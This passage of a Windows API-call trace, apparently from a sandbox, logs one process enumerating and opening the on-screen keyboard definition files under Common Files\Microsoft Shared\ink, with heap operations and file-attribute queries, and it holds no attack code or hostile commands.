| out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90ed0 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93c18 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90ef0 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93d20 [0049.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.447] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90f10 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93e28 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90f30 [0049.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf93f30 [0049.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0049.448] GetLastError () returned 0x12 [0049.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.448] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0049.448] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0049.449] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0049.449] GetLastError () returned 0x12 [0049.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.449] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.450] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0049.450] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0049.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.450] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.450] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.450] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.450] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.452] NtClose (Handle=0x190) returned 0x0 [0049.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.452] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.452] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90f50 [0049.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94038 [0049.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0049.453] GetLastError () returned 0x12 [0049.453] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.453] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0049.453] GetLastError () returned 0x12 [0049.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.453] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0049.453] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0049.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 